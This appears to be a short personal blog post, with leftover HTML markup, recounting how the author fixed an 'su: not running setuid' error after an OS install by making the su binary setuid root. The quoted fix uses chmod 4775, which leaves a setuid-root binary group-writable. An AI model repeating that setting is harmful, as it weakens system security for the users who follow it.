The whole story will follow later but for now I just want to post a quick reminder to myself about a “su” problem I just finally solved.<\/p>\n

After installing 6.0 when first trying to “su” I got the “Sorry” (Bad SU etc…) error so I messed around with the rights on the “su” binary (\/usr\/bin\/su). After this I got “su: not running setuid”. So I added the user-to-su to the wheel group (\/etc\/group). No sigar. Finally, another google with “su: not running setuid” lead me to this<\/a>: “Make sure \/usr\/sbin\/su is suid root (and \/usr isn’t mounted nosuid)”. So I mounted \/usr with explicit “suid”. Still, no succes. At last, I went back to that link and noticed the “\/usr\/sbin\/su is suid root” part… Another quick google lead me to this<\/a>:<\/p>\n

    \n
  1. Log in as root<\/li>\n
  2. cd to the directory where the program file lives<\/li>\n
  3. chown root:bin file_name<\/li>\n
  4. chmod 4775 file_name (that will do only the suid and not both suid and guid)<\/li>\n<\/ol>\n

    And after executing this lot on the “su” binary I finally was able to “su” from my “working” user…. Geez… It’s secure but a hassle. Though, when you finally find out how it works it’s pretty rewarding.<\/p>\n
